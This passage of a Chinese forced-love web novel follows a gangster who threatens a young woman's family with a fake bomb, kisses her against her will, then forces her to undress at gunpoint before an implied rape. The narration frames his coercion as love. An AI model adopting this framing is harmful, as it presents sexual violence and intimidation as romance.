陈知念小心翼翼地扶着苏婉的胳膊,陈毅衡跟在一旁,手里拎着医院开的药和刚买的水果,目光始终落在妻子身上,满是疼惜。 中午苏婉见到他时,当场就哭晕 了过去,后来虽说一直说自己没事,可他哪里放心,硬是拉着她去医院做了全套检查,确认只是过度劳累,才稍稍松了口气。 检查完已是傍晚,一家人又在附近的餐厅吃了晚饭。饭后他们还散了会步,晚风轻轻吹着,让连日来的紧绷都渐渐消散。 到家的时候已经是晚上九点了。 陈知念松开扶着母亲的手,指尖在指纹锁上轻轻一按,吱一声,门缓缓打开。 屋内一片漆黑,玄关处的感应灯没亮——大概是坏了。 陈知念弯腰准备换鞋,却忽然顿住了。 不对劲。 寂静的客厅里,竟响着一道十分有节奏的滴滴声,那声音不大,节奏却无比准确,像是在读秒,又像是在计时。 怎么回事?陈知念疑惑,家里没有类似的计时器。 她心里莫名一紧,下意识站直身体,伸手摸到墙上的开关,猛地按下。 “啪”的一声,客厅的吊灯骤然亮起,刺眼的白光瞬间填满整个空间。陈知念下意识眯了眯眼,等视线聚焦,却又在一瞬突然紧缩。 在那张正对门口的沙发上,一道挺拔而极具压迫感的身影,正大刀金斧地坐在那里,姿态闲适到仿若他才是这个家的主人。 那双冷峻的眼眸,在灯亮起的瞬间,斜斜扫过来,带着轻佻不屑,懒懒睨着她。 “你……你怎么会在这里?”陈知念的声音止不住地发颤。 陈毅衡和苏婉也愣住了。陈毅衡很快反应过来,上前一步挡在妻女身前,脸色沉了下来:“陈先生,您深夜造访,是不是太不合适了?” 对于他的话,陈寅洛充耳不闻。视线缓缓垂落在茶几的黑色计时器上,薄唇轻启:“算你们运气好,还有十分钟时间。” 陈知念顺着他的视线,落在那个不断跳动着红色数字的黑色装置上。莫名地心里就涌起一阵惊惧,但还是抱着侥幸说:“这……这是什么?” “没见过?”陈寅洛好整以暇地挑挑眉,懒懒向椅背靠了靠,“拍卖场那天,你该见识过了。” 话音未落,记忆如决堤洪水般汹涌而至——拍卖场里遮天蔽日的浓烟,震耳欲聋的爆炸声,人群惊恐的尖叫……而此刻,记忆中那可怕的轰鸣竟与眼前计时器冰冷规律的“滴滴”声诡异地重叠在一起。 陈知念腿一软,倏然瘫软在地。 “念念!”陈毅衡和苏婉同时惊呼,苏婉本就虚弱,看到女儿跌倒,急得差点晕过去,被陈毅衡稳稳扶住。陈毅衡脸色铁青,指着陈寅洛怒喝:“陈寅洛!你到底想干什么?!” “五公斤的C4,足够送你们全家,安安稳稳上西天了。” 陈寅洛的声音如从地狱袭来,冰冷无情,令人绝望。 陈知念浑身发抖,牙齿不受控制地打颤,眼泪瞬间涌了出来,不是因为疼,而是因为极致的恐惧。 眼前的人,和年少时的人,原来从来都一模一样,从来没有改变过。 那残酷暴戾的本性,早已刻入他的骨血,从未因时光或伪装而有分毫动摇。 苏婉吓得几乎瘫软,全靠陈毅衡一条坚实的手臂紧紧箍住才没有倒下。陈毅衡的脸色因极致的愤怒和屈辱涨得通红,额角青筋暴起。他没有后退,反而猛地向前踏了半步,将妻女完全护在身后,如同一头守护领地的雄狮,指着陈寅洛的鼻子怒吼: “陈寅洛!你敢!这里是白塔城!不是你可以为所欲为的法外之地!你现在立刻给我滚出去,否则我拼了这条命,也让你走不出这个门!” 陈寅洛纤长的眼睫掀起,视线终于落在了他身上,“我是什么人,你不是清楚的很么。” “我敢不敢,你大可以赌一把。用你妻子、女儿,还有你自己的命,来赌我的耐心。” 他忽然又挑眉道,“不然,你们可以试试逃出去,看看你们的血肉之躯,能不能抵抗的了金属子弹。” “不要!”陈知念惊惧出声,连滚带爬地扑过去,颤抖着抓住陈毅衡的衣袖,声音带着哭腔,已然崩溃,“爸爸,不要……他真的会……真的会……” 陈毅衡眼眶泛红,眼眶中满是愤怒与不甘,他缓缓握住女儿的肩膀,试图给她力量,“念念,不要怕,有爸爸在。” 话虽如此,他心里却清楚,陈寅洛就是个彻头彻尾的疯子,没有任何底线,什么事都做得出来。 就在这时,计时器的“嘀嘀”声突然加快了频率,原本规律的节奏变得急促起来,像急促的鼓点,敲得人心惊肉跳。 陈寅洛瞥了一眼,淡然地笑笑,“还有五分钟。” 他慢条斯理地站起身,高大的身影在灯光下投下令人窒息的阴影。他迈开脚步,不疾不徐地朝大门处走来。 陈知念眼睁睁看着这个如同从地狱深处走来的身影,一步一步,无视挡在前方的父母,径直走到她面前,脚步骤停。 他冷漠地俯视着她,“陈知念,你知道我是为什么而来。” 他的视线扫过她惨白的脸,最后落回她盈满恐惧的双眼。 “两分钟,希望你能做出正确的选择。” 说完,他猛地拉开门,大步跨了出去,门“砰”的一声重重关上,震得整个屋子都微微一颤。 屋内,只剩下陈知念一家,以及那如催命符般急促的“嘀嘀”声,每一声都在提醒着他们,死亡的倒计时正在飞速流逝,而他们,似乎已无路可逃。 “念念,不要怕。”陈毅衡强自镇定,“会有办法的,还有五分钟,只要找到炸弹并拆除,我们就可以活下去。” 苏婉靠在丈夫怀里,眼泪止不住地流,却还是点了点头,“对……对,我们找找,一定能找到的。” 陈知念的视线已经被泪水彻底模糊,她哽咽着,“爸爸,没用的……只有五分钟,根本不够我们找炸弹,更别说拆除了。” 陈毅衡却已经大步走进了客厅,视线不停搜寻,“一定可以找到的!我们还有很多时间,不能就这么放弃!” “客厅的柜子、电视柜后面,还有卧室,都找找!” 苏婉也强撑着发软的身体,跟着加入了寻找。 计时器的“嘀嘀”声越来越急促,红色的数字不断减少:3分50秒、3分49秒、3分48秒…… 陈知念站在原地,看着父母如困兽徒劳地寻找,眼泪又忍不住流了下来。 她知道陈寅洛根本不是在吓唬他们,那个男人说到做到,真的会毫不犹豫地引爆炸弹。 她缓缓抬起手,擦了擦脸上的泪水,心里渐渐有了一个决定——与其让全家人一起死,不如她去答应陈寅洛的要求,至少能保住父母的性命。 她什么也没说,咬牙转身就打开了大门,飞速冲了出去。 “陈寅洛!陈寅洛!你出来!我答应你!我什么都答应你!” 陈知念朝着浓稠的黑暗声嘶力竭地呼喊,声音里带着哭腔,充满了崩溃的绝望和孤注一掷的决绝。 回应她的,是一道骤然亮起的车灯,如同在黑夜里骤然睁眼的巨兽,冷漠地凝视着她,匍匐在原地,静静地等待着她,祭献出自己。 陈知念没有犹豫,朝着它飞奔而去。 她扑到车旁,发疯似的用双手拍打着冰冷的车窗玻璃,鼻涕眼泪糊了满脸,整个人狼狈到了极致。 “开门!求求你开门!陈寅洛!” 在她耗尽所有气力的绝望拍打下,那面深色的车窗终于缓缓降下,露出一张棱角分明却冷漠至极的侧脸。 “小叔叔,是我错了……我真的知道错了……”她语无伦次,双手扒住窗框,“我不该不接你电话,我不该躲着你,求你……关掉它……求你把那个东西关掉!” 男人巍然不动,只有薄凉的唇微微开启,“你的道歉,没有诚意。” “教过你太多次,要听话,不要耍小聪明。可你呢?永远都不长记性。” “我真的记住了!这次我真的记住了!” 陈知念已经哭到喘不上气,“我以后再也不敢了,求求你……放过我爸爸妈妈……” 陈寅洛这才淡淡侧首,视线落在她脸颊。沉默了两秒,他终于开口,“上车。” 陈知念不敢犹豫,几乎在一瞬间就拉开车门,坐了进去。 她刚坐下,车辆就已经启动,引擎发出一声轰鸣,飞速开了出去。 “小叔叔……”陈知念强撑着一口气让自己不 瘫倒,“炸弹……炸弹还没有……” 陈寅洛斜斜睨了她一眼,“放心,那只是个玩具,陪你们玩玩罢了。” “玩……玩具?”陈知念猛地愣住,眼泪还挂在睫毛上,整个人都僵住了。她怀疑自己听错了,愣愣地看着陈寅洛,“逗……逗我们玩的?” 下一瞬,他低沉的声音冷然砸下。 “但如果你刚才选错了——它就会变成真的。”—— 作者有话说:不要忘了,他就是个坏种 第54章 “陈寅洛,我可以问你一个问题吗?” 陈知念站在进门处,眼睛盯着那道高大的身影,不闪不避,乌黑的眼眸里所有的怯弱都消失无踪,被坚韧替代。 陈寅洛闻声回眸。灯光在他轮廓分明的脸上投下深浅不一的影,他的眼神沉静,看不出情绪。 “问。” 陈知念没有立刻说话,而是向前一步逼近他,迎上他的眼眸。 “你到底为什么不肯放过我?你对我做这一切,到底想要什么?” 这话问出口,空气竟陷入了沉滞。 陈寅洛没有回答。 他就那样静默地看着她,长长的睫毛在眼睑下投下两道沉沉的阴影,将他所有的情绪都悉数掩藏在那片晦暗之下。 时间一分一秒地过去,陈知念的心跳渐渐加快,她甚至开始怀疑,是不是自己的问题触怒了他,可她没有移开视线,依旧倔强地迎上他的目光。 过了好一会儿,陈寅洛才像是终于想好了答案,缓缓掀起眼皮。那片遮着情绪的阴影顿时散去,露出底下黑曜石般的瞳孔,直直落在她脸上。 “因为,我喜欢你。” 喜欢? 陈知念的脑中“轰”的一声,仿佛有什么东西炸开了。她怔怔地看着他,怀疑自己的耳朵是不是出了问题。又或者,这是她听过的,本世纪最荒诞的笑话。 囚禁是喜欢,威胁是喜欢,逼迫是喜欢? 喜欢就可以用来定义这一切?仿佛只要冠以这两个轻飘飘的字眼,所有的痛苦和恐惧就都有了正当的理由,变得情有可原起来。这种扭曲的逻辑,荒谬得让她浑身发冷。 许久,她才找回自己的声音,“陈寅洛……你管这个,叫做喜欢?” “不然呢?”他理所当然反问,“你以为我有多少闲心,浪费在一个无关紧要的人身上?” 陈知念看着他那副理直气壮的模样,胸腔里的愤怒像是被堵住的火焰,烧得她喉咙发紧,却不知道该用什么来表达自己的心情。 她真想撬开他脑子看看,这种强盗逻辑究竟是如何盘踞其中的。 “所以,你认为,”她咬着牙问,“喜欢是什么?” 陈寅洛扫了她一眼,那眼神像是在看一个问出“人为什么要呼吸”的傻子,带着点嘲讽,又有点懒得解释的敷衍。 他没再跟她站着对峙,转身大步走向沙发,重重陷了进去。随着打火机咔哒一声轻响,他点了支烟,不紧不慢地抽了大半支后,他才慢悠悠地开口,声音被烟草浸过,显得格外暗哑: “陈知念,你是不是书读多了,把脑子读傻了?” “我来告诉你什么是喜欢。喜欢是不管你愿不愿意,我想让你留在我身边,你就必须留下;是为了得到你,能用上的手段,我都能用;所有挡着我的障碍,我都要清理掉。” 烟雾从他薄唇间溢出,缠绕着他冷硬的侧脸,让他的话更添了几分森然。 “我看上的,就必须是我的,就这么简单。” “这就是最纯粹的道理。” “你说错了!你错了!”陈知念像是被这句话彻底点燃了引线,所有的恐惧、委屈、愤怒瞬间冲破了防线,她发了疯似的嘶喊,“你说的都是些什么狗屁道理!!” 她猛地冲上前,胸口剧烈起伏着,眼泪大颗大颗往下掉,却死死盯着他,声音颤抖却又倔强。 “喜欢是尊重,不是控制!是心疼,不是看别人害怕取乐!是两个人愿意为对方妥协,不是把人逼到绝境,不是把对方的尊严踩在脚下!” “你所谓的喜欢,根本就是自私,是犯罪!” “陈寅洛,你醒醒吧!你这不是喜欢,你这是有病!是病!” 最后一个字落下时,陈知念的声音已经哑得不成样子,眼泪还在往下掉,胸口因为激动而剧烈起伏,连身体都在微微发抖。 她把这段时间憋在心里的所有委屈和愤怒,都一股脑吼了出来。 陈寅洛抬眼静静看着她,直到过了好几秒,他才缓缓站起身。他比她高出大半个头,微微垂着眼,就能将她通红的眼眶,挂在脸上的泪痕,还有那副既愤怒又害怕的模样,看得一清二楚。 他的心稍稍一软。 陈寅洛的视线太过压迫,陈知念后知后觉地瑟缩了一下,心里开始发虚、后悔,如果把他逼急了,她不确定他会干出什么。 “陈知念,”他抬手,拇指擦去她泪痕,“那你说,我该怎么做。” 陈知念抿唇,有些后怕地避开他视线,“至少……你要、要先问问人家愿不愿意。” “我明白了。” 陈寅洛若有所思的点头,下一瞬他的眸光又落到她眼眸,“那我现在想吻你,你愿意吗。” 陈知念的大脑还没来得及消化他这句话,掌心的温度就已经覆上了她的脸颊,指腹粗糙,力道不大却不容挣脱,稳稳地捧着她的脸,迫使她无法偏头躲开。 下一秒,他的气息就压了下来。 陈知念的眼睛瞬间睁大,睫毛剧烈地颤抖着,她的手抵在他的胸口,想推开他,却发现他的身体像块坚硬的石头,纹丝不动。 他的吻越来越深,带着不容拒绝的力道,辗转厮磨间,像是要将她的呼吸都夺走。 直到她快要窒息,脸色涨得通红,他才缓缓松开她。 指腹还停留在她被吻得泛红的唇瓣上,轻轻摩挲着,“你看,我问过了。” 陈知念大口大口地喘着气,嘴唇发麻。她看着他,眼底满是难以置信的愤怒:“你根本就没等我回答!” “可我问了。” 陈寅洛挑眉,“是你反应太慢,没来得及说不愿意。” “我没有!”陈知念立刻反驳,“我根本不想……你这是耍无赖!” “行。” 陈寅洛倏然坐下,指尖扯住她手腕,稍一用力,陈知念整个人跌坐在他腿上,后背牢牢贴着他的胸膛。 “你放开我!”陈知念不安地挣扎,双手抵在他的手臂上,想撑起身体逃离,可他环在她腰间的手臂却如铜墙铁壁,纹丝不动。她越挣扎,那圈束缚就收得越紧,勒得她胸口发闷,连呼吸都变得困难。 他抬起她下颌,垂眸道:“那我再问一次,我要吻你了,你愿意吗?” “我不——唔!” 陈知念的“愿意”两个字还没来得及说出口,唇瓣就被他全部堵住,唇齿间淡淡的烟草味,瞬间席卷了她的全部味蕾。 她所有的抗议都被他尽数吞没。他含住她的下唇时,力道比上次更重些,细密的痛感混着酥麻窜过神经,陈知念忍不住瑟缩了一下,刚要偏头躲开,他的舌已经趁隙撬开她的齿关,带着灼热的温度长驱直入。 “唔……”陈知念的喉咙里溢出细碎的呜咽,抗拒的念头愈发强烈。她双手用力抵在他的肩膀上,身体更是剧烈地扭动着,想要从他的怀抱里挣脱出来,可他的力气远在她之上。 而在扭动间,陈知念也敏锐地察觉到腿下有什么东西逐渐清醒、复苏,灼热地抬起头,更是随着他的呼吸微微起伏。 “!!!” 陈知念 的身体瞬间僵住,所有的挣扎都戛然而止。 她甚至忘了呼吸,视线慌乱地落在他的脸上,却不敢与他对视。 “别动。” 他的声音隐晦暗哑,带着丝低沉的磁性,灼热的呼吸喷洒在她脸颊,滚烫炙热,烧得她头晕目眩,连反抗的力气都仿佛被抽走了几分。 炽热顽劣地跳了跳。 陈寅洛面无表情,“陈知念。” 他的眼底晦暗到看不到一丝光亮,像沉在深海里的墨,浓稠得化不开,可面上的神情却是无比的认真。 “我想要和你做/爱,你愿意吗?”—— 作者有话说:[化了]我真的在左右脑互博,一会是强制爱,一会是甜甜的 第55章 曾经陈寅洛对上/床这事嗤之以鼻,觉得那不过是低级乐趣,是浪费时间的无聊事。 可这一刻,那股冲动却变得无法抑制,像野草般在心底疯狂滋长。他想要尝试,想知道那滋味是不是真如传闻中那样,能让人爽到灵魂都飘离躯壳,能让所有的理智和克制都在瞬间崩塌。 嗯,想弄哭她。 想尝尝她那截看起来一折就断的细腰,是不是也像她的眼泪一样,带着点可怜的咸涩味。 陈知念被吓到魂飞魄散,眼泪像断了线的珠子,哭得几乎喘不过气。 “小叔叔……求你了……放了我吧……我不想,我一点都不想,我、我还小,你放过我吧……” 听到她的话,陈寅洛不由蹙紧了眉头,那股叫嚣的渴望又瞬间滞涩了几分。 他倒是忘了这茬。对,目前来说,他是个长辈。长辈是不该对小辈做这种事的,这点道理他还是懂的。 可道德感这东西,在他这儿向来薄得像层纸,犯不着拿来说事,他这辈子做的不合规矩的事还少吗。 陈寅洛垂眸看着怀里哭得快要喘不过气的人,她的肩膀还在剧烈颤抖,发顶蹭着他的下巴,带着点可怜的温度。那股滞涩的欲/望很快又开始翻涌,比刚才更盛。 他甚至觉得,这种明知不该却偏要做的冲动,比之前更勾人。 手随心动,他的指尖顺着她脊骨向下滑动,滑到她上衣下摆的边缘时,没有丝毫犹豫,指尖轻轻勾起那层薄薄的布料,向上撩开寸许,露出一小片白皙的腰腹。 陈知念的身体像被烫到似的猛地一颤,眼泪掉得更凶,双手在他身上又推又打:“别!别碰我!!” 可她的抗议毫无作用。 他的指尖在她纤细的腰侧流连,那细腻得不可思议的触感和她不受控制的轻颤,让他沉迷。他能想象出这具青涩的身体在他手下彻底褪去青涩、为他绽放甚至崩溃的样子,那念头让他太阳穴突突地跳,呼吸都变得灼热起来。 陈知念胡乱地挣扎着,双手在他身上又推又搡,却又像是蚍蜉撼树,根本无法动摇他分毫。绝望之中,她的手胡乱地向下,试图找到一个可以发力的支撑点将他推开。 突然,她的指尖触到了一个冷硬的金属物。 是枪! 这个认知像道惊雷劈入她混乱的脑海,让她浑身血液瞬间冻结,但下一秒,恐惧爆发,她也不知道自己哪来的力气和胆量,手指用力一勾,黑色的手枪被她攥在了汗湿的掌心里。 金属的冰冷与她掌心的冷汗交织,沉得险些让她脱手。她双手抖得不成样子,用尽全身力气才勉强抬起手臂,将那黑洞洞的枪口,哆哆嗦嗦地对准了陈寅洛的胸膛。 她声音抖得厉害,连牙齿都在打颤:“别……别碰我!再过来……我就开枪了!” 陈寅洛所有的动作都停住了,眼中的情/欲瞬间褪去,沉为一片深不见底的深海。 他缓缓垂眸,看着那把对准自己的枪,枪口正对着他的心脏位置。而握着枪的人,脸还挂着泪,睫毛湿漉漉地黏在一起,嘴唇抖得快要咬出血,枪口正随着她无法控制的战栗而剧烈晃动,脆弱得可笑。 可她的眼神里,却透着被逼到绝境的狠戾,像只被围堵的幼兽,哪怕牙齿还没长齐,也要亮出带血的獠牙。 他松开了钳制。陈知念立刻像受惊的兔子般弹开,颤抖着踉跄起身,枪口却不敢丝毫偏离。 “你……你别过来……” 陈寅洛喉间溢出一声轻笑,那笑声里没有丝毫惧意,反而浸着严寒。他非但没有后退,反而从容不迫地向前迈了一步。枪口几乎要贴上他微敞的衬衫,吓得陈知念手腕猛地一颤,险些扣动扳机。 “陈知念,”他开口,声线平稳得可怕,“怎么开枪的,你忘了?” “我……”陈知念扣着扳机的指尖僵冷到麻木,大脑一片空白,“我没忘……你别过来,我真的……会开枪的!” 陈寅洛像是没听见她的警告,又向前逼近一步,将她周身所剩无几的空气也挤压殆尽。 “那你开枪啊。” 他低沉的嗓音如同魔鬼的蛊惑。陈知念被迫一步步后退,枪口晃动的幅度越来越大,直至“咚”的一声轻响,她的后背重重撞上冰冷的墙壁。 退无可退。 两人之间的距离只剩下一拳。 “对准这里,扣下去就好。”他抬手,指尖轻轻点了点自己的胸口。 “陈寅洛!你别逼我!!” “陈知念,开枪!” “啊——!” “砰!” 枪声在密闭的房间里炸开,尖锐得刺耳。陈知念甚至不知道自己什么时候扣动了扳机,只觉得虎口和手腕传来一阵剧痛,巨大的后坐力让她整条手臂都瞬间麻了,整个人被震得往后踉跄,后背重重撞在墙上,枪哐当一声掉在地上,滚到陈寅洛脚边。 陈寅洛的身体僵了半秒,呼吸稍稍停滞了几秒。随即他缓缓低下头,看向自己的左肩胛。 他抬手按了按,指缝间很快渗出猩红的血。 再抬头时,那双眼漆黑沉静,所有情绪尽数湮灭,彻底没了温度。 “呵,陈知念,”他声音沉寂到可怕,“看来是我对你太过仁慈了,才会让你这么不知好歹。” 陈知念僵在原地,浑身发抖,眼泪混着冷汗往下掉,连呼吸都险些忘了。她看着陈寅洛肩胛处不断扩大的血渍,看着他眼底的狠厉,才后知后觉地意识到自己做了什么——她真的开枪了,她差点杀了他! 屋外候着的严彬和雷子瞬间冲了进来,“洛哥!” 雷子更是直接掏出了枪,眼神变得警惕,视线在陈知念和陈寅洛之间来回扫,却不敢多问一个字。 “滚出去。”陈寅洛开口。 严彬和雷子对视一眼,又悄无声息地退了出去。 别墅大门被再次关上后,男人缓缓俯身,右臂垂落,修长的手指勾住枪柄轻轻一挑,便重新将枪握回手中。他唇线紧抿,冷硬的侧脸看不出丝毫情绪波动,仿佛受伤流血的人根本不是他自己。 陈知念的心脏瞬间提到了嗓子眼,呼吸都变得急促起来,身体不受控地往后缩,后背紧紧贴在墙上,连动都不敢动。 她看着他手里的枪,看着他毫无表情的脸,一股寒意从脚底窜到头顶,让她浑身发颤。 下一秒,他抬臂举枪,漆黑冰冷的枪口稳稳对准了她。 “我本来想温柔一点的,既然你自己选择更难看的方式,那就自己受着。” 枪口向下移动寸许,对准她衣服纽扣。 “是你自己脱,还是让我用枪帮你脱?” 他像是完全感知不到痛楚,也彻底褪去最后一丝人性,那双黯黑的眼眸如同吞噬一切光亮的黑洞,只剩下令人胆寒的压迫。 “对、对不起……我不是故意的……” “我真的……真的没想开枪……求你,饶了我吧……小叔叔……” 陈知念的声音抖得不成样子,无尽的恐惧将她彻底淹没。 她抬起头,想从他眼底找到一点松动,可只看到一片漆黑。连之前残留的、对她身体的兴趣,都变成了必须驯服的狠戾。 陈寅洛冷峻的面容没有丝毫松动,目光依旧凛冽如严冬寒冰。 “你自己动,还是我来?” 没有任何商量的余地。 他的左肩还在不断地渗血,血珠顺着他手臂滑落在地,洇成一 小滩血迹,可他连眉头都没皱一下。 陈知念深吸一口气,用尽全力稳住发抖的手指,指尖笨拙地在纽扣上摸索,好半天才扣住纽扣边缘,僵硬地往下掰。 一颗,两颗,三颗。 第三颗纽扣解开后,衣襟彻底向两侧滑落。微凉的空气瞬间触上她暴露的肌肤,激起一阵细密的战栗。灯光下,她的肩膀和锁骨线条清晰可见,皮肤因为紧张和羞耻透出淡淡的绯红,随着她急促的呼吸轻轻起伏。 第五颗纽扣在衣角,离腰线很近。陈知念的手指悬在半空,迟迟不敢落下。她今天穿的是连衣裙,她知道,这颗纽扣解开,衣服就会彻底失去支撑,随时可能滑落。眼泪又一次涌上来,砸在衣襟上。 “不准停。” 陈寅洛的声音低沉平稳,不带任何情绪,却比任何怒吼都更具威慑力。 陈知念绝望地闭上眼,再次伸出手指。 衣服彻底失去了支撑,顺着她的肩膀往下滑,堪堪挂在臂弯处,露出了她大半肌肤,像朵被迫绽放的花朵。 “拉下来。” 陈寅洛的声音又响了,这一次,带着明确的指令。 “我……” 陈知念带着最后一丝哀求,回应她的,是枪口往前递的动作。 冰冷的金属直接贴到了她的手背,吓得她瞬间松开手,衣服顺着臂弯滑落,掉在地上,青涩的躯体彻底暴/露在空气中。 她的皮肤泛着几近透明的苍白,只有脖颈和锁骨处还残留着羞耻的绯红,腰腹处细微的肌肉战栗清晰可见,手臂下意识地往身前挡,却因为太过慌乱,只遮住了一半,反而更显狼狈。 陈知念的眼泪掉得更凶,视线被水雾模糊,连抬头看他的勇气都没有,屈辱与恐惧像两条毒蛇,缠得她快要窒息。 下一瞬,阴影笼罩下来。 陈寅洛俯身,吻住了她—— 作者有话说:果然是温柔不了一点 第56章 陈寅洛的动作没有温柔,只有不容抗拒的侵略性。嘴唇带着烟草和淡淡的血腥味,蛮横地撬开她的齿关,舌尖抵开她的抗拒,将她所有的呜咽都堵在喉咙里。 陈知念双手无力地推拒着他的胸膛,指尖却猝不及防地触及到他肩胛处那片湿濡温热。那是他正在渗血的伤口,黏腻的触感和鲜明的暖意吓得她猛地缩回手,像被灼伤一般,连最后一点推拒的勇气也彻底消散。 冰冷的枪管依旧贴在她赤/裸的脊背上,那触感如电流般蹿过她脊骨,让她全身都忍不住战栗。每一次呼吸,后背都会轻轻蹭到枪管,那冰凉与他唇间的灼热形成尖锐的对比,将她的意识撕成两半。 陈寅洛的呼吸逐渐灼热,眼底的黑暗如墨汁般浓稠。他本该愤怒,可那枪伤似乎只成了催化剂,她的眼泪、颤抖、祈求,都像燃料浇在他心底的火上,让欲/望愈发汹涌。 被枪伤到的怒火早就消散了,他对自己说,她只是太紧张,太害怕了。 亲吻持续了很久,久到陈知念的胸腔憋得发疼,眼前开始冒白,意识像泡在温水里般逐渐模糊,他才缓缓松开她。 “还敢开枪吗?”陈寅洛的声音贴着她的耳廓响起。 陈知念瑟缩地摇摇头,睫毛上沾着的水汽顺着眼角往下滑,像只无助可怜的小猫。 “不、不敢了……” 陈寅洛低头,目光落在她泪痕斑斑的脸上,那双泛红的圆眼怯生生地望着他,像株被狂风暴雨打过的菟丝花。他喉结滚了滚,俯身在她微肿的唇上不轻不重又啄了一下。 “道歉。”他声音低哑,“说你错了,我就原谅你。” 陈知念的哭声一滞,她抽噎着抬起头,鼻尖红红的,脸上泪迹斑斑。她确认他眼底的幽暗似乎淡了些,才敢怯生生地开口, “我错了,小叔叔……不该、不该开枪伤你……我再也不敢了……” “乖。” 他低低应了一声,再次低头,唇舌的力道悄然加重,变成带着轻微啃噬的吮吸,而他的手掌也在攀沿,所过之处,仿佛点燃了一簇簇细小的火苗。 陈知念的呼吸再次乱了,眼泪又开始掉,她的手指蜷缩起来,轻轻抓着他的衬衫。 下一瞬,她就被整个横抱了起来。身体骤然悬空,失重感让她本能地攀住他的脖颈,指尖立刻又沾染上他肩胛处温热的湿黏,惊得她松手不是,不松也不是。 他脚步平稳地走向卧室,将她轻轻放置在柔软的床垫上。陈知念刚想往后缩,就被他用膝盖抵住了脚踝,动弹不得,只能眼睁睁看着他抬手脱掉了染血的衬衫,露出麦色的肌肤和那道狰狞绽开,仍在冒血的伤口。 陈知念的目光下意识地被那道伤口攫住,瞳孔因惊惧微微收缩,身体抑制不住地颤得更厉害。 她都不敢想像到底有多疼,可他却像没事人一样。 陈寅洛俯身,微凉的唇轻轻吻过她颤抖的下巴,继而流连至纤细脖颈。牙齿在她敏感的颈侧软肉上不轻不重地咬了一下,留下一个淡红的印记。 “放松点。” 陈知念浑身泛起细小的疙瘩,眼泪滚落,混着无助的控诉,“我……我害怕……” 他闻声低笑,低头含住她白皙耳尖,以舌尖轻轻舔舐,感受那小巧轮廓迅速变得绯红滚烫。 “别怕,不会弄疼你。” 他声音低哑得不像话。肩胛的伤口还在渗血,偶尔有血珠滴落在床垫上,却丝毫没影响他的动作。 对他而言,这点疼痛算不了什么,眼前这具在他身/下战/栗的身体,才是最好的止痛药。 “别……别碰这里……”她的求饶细若蚊蚋,带着哭腔,“痒……” “痒?”陈寅洛低哑的嗓音裹着笑意,他故意含住那片发烫的软骨,舌尖轻轻碾过,果不其然感觉到怀中人浑身绷紧,连脚趾都蜷了起来。 陈知念的眼泪掉得更凶,手腕抵着他的胸口,却连一点力气都使不出,“不行……我真的不行……” “刚才开枪的胆子去哪了?现在知道怕了?” “别、别抬……”她慌得去扯他的手,指腹却不小心蹭到伤口的血,黏腻的温热让她猛地缩回手,“对不起……我不是故意的……” 陈寅洛轻易地单手攥住她手腕按在头顶,“松开。” 他低头,齿间磨蹭她颈间跳动的血管,陈知念的心跳骤然加速。 她吸了一口冷气,呜咽出声:“小叔叔,疼……” “抱歉。”他吻掉她脸颊的泪,汗珠从下颌滴落,声音哑得发烫:“忍一忍。” “……我明天还要上课。” “我送你。” 她指尖用力掐进他臂膀。 是疼得没了办法,只能借着这点力道撑住快要散架的意识。 “慢、慢一点。” “我知道了。” 窗外的月光倾泻进来,影子缓缓偏移。 陈寅洛支起身,指尖拂开她汗湿在额前的碎发,露出光洁的额头。他目光沉沉地落在她脸上,看了她许久。那张脸上还挂着泪痕,嘴唇红肿,一副被彻底摧折过的可怜模样。最终,他俯身,在上面轻轻落下一吻。 陈知念早已昏睡过去,睫毛还在不安地轻颤着。 片刻后,他才小心翼翼地从她身侧挪开,避开伤口快速地冲了个澡,随手在腰间围了块浴巾,而后走到窗边,点燃一支烟。 烟雾缭绕中,他觉得自己陌生得可怕。 换作任何人,在敢对着他扣下扳机的那一刻,早就成了一具冰冷的尸体,连求饶的机会都不会有。 可现在呢,他做了什么。 被她开枪伤了肩胛,非但没动她一根手指头,反而在她哭着说“错了”的时候,心底那点杀意顷刻消散,连犹豫都没有就原谅了她。 他已经不是以前的陈寅洛了,那些刻在骨子里的狠戾与原则,在遇到她之后,都成了可以被打破的例外。 这太荒唐了,荒唐到让他觉得陌生。 像被抽走了所有的锋芒,只剩下对她束手无策的溃败。 那句话果然没错。一旦滋生出致命的软肋,就等于向人敞开了直达你心脏的路。 而他恐怕……已经离死不远了。 熄灭烟,陈寅洛推开卧室门,迈步而出。 刚到客厅,就见严彬和雷子正坐在沙发边缘,显然是等了很久,却又不敢上楼打扰。医生也跟着坐在角落,显然也是被深夜紧急唤来,熬得眼底泛着红。 听到脚步声,三人同时抬头,严彬和雷子立刻起身迎上去,“洛哥,你没事吧?快让医生给你看看。” “嗯。”陈寅洛应了一声,走到沙发前,随意往里一陷。 医生连忙上前,先拿出无菌手套戴上,又取过手电筒,轻轻拨开伤口边缘的皮肤,“洛哥,我先看看子弹位置,我已经把便携X光机放门口了,要是子弹深就立刻用,浅的话我现场就能取。” 陈寅洛垂下眼帘,“嗯。” “子弹没入深,卡在皮下筋膜层了,万幸没碰到血管和神经。” 医生松了口气,连忙拿出消毒后的止血钳,“我现在取出来,会有点疼,您忍一下,很快。” 止血钳刚探进伤口,陈寅洛眉峰就紧紧蹙了起来,下颌线绷得更紧,喉结滚了滚,却没发出一点声响。 严彬和雷子站在一旁,心绪繁杂。 “好了洛哥,子弹取出来了。”医生连忙用碘伏给伤口消毒,又撒上止血粉,“接下来缝两针,我尽量快,” 针线穿过皮肤时,陈寅洛的身体还是细微地颤了颤,他闭了闭眼,开口道:“阿彬,明天……叫许律师过来一趟。” 严彬不明所以,“洛哥,找许律有事?” “嗯。” 陈寅洛既然没说是什么事,严彬也不好继续追问,只道知道了。 医生麻利地缠好纱布,又拿出消炎药和止痛药:“洛哥,这是口服药,消炎药每天三次,止痛药疼得厉害再吃,伤口别碰水,我明天再过来换药。” 陈寅洛“嗯”了一声,抬手按了按包扎好的肩胛,痛感比刚才轻了些,“你们都回去吧。” 人都退去后,陈寅洛独自在沙发静静坐了会,直到时钟又跳转了一格,他才起身走回楼上。 他迈步走到床边,微微俯身,捏了捏陈知念酣睡的脸颊。 “陈知念,醒醒,洗洗再睡。” 指尖又轻轻碰了碰她的鼻尖,看着她皱了皱眉头,才又重复了一遍,“乖,起来洗个澡,不然身上黏着不舒服。” 陈知念在睡梦中被打扰,睫毛颤了颤,缓缓睁开眼。刚睡醒的眼神还带着迷茫,看了陈寅洛好一会儿,才反应过来。 她一巴掌拍开陈寅洛的手,“你混蛋,你给我滚。” 第57章 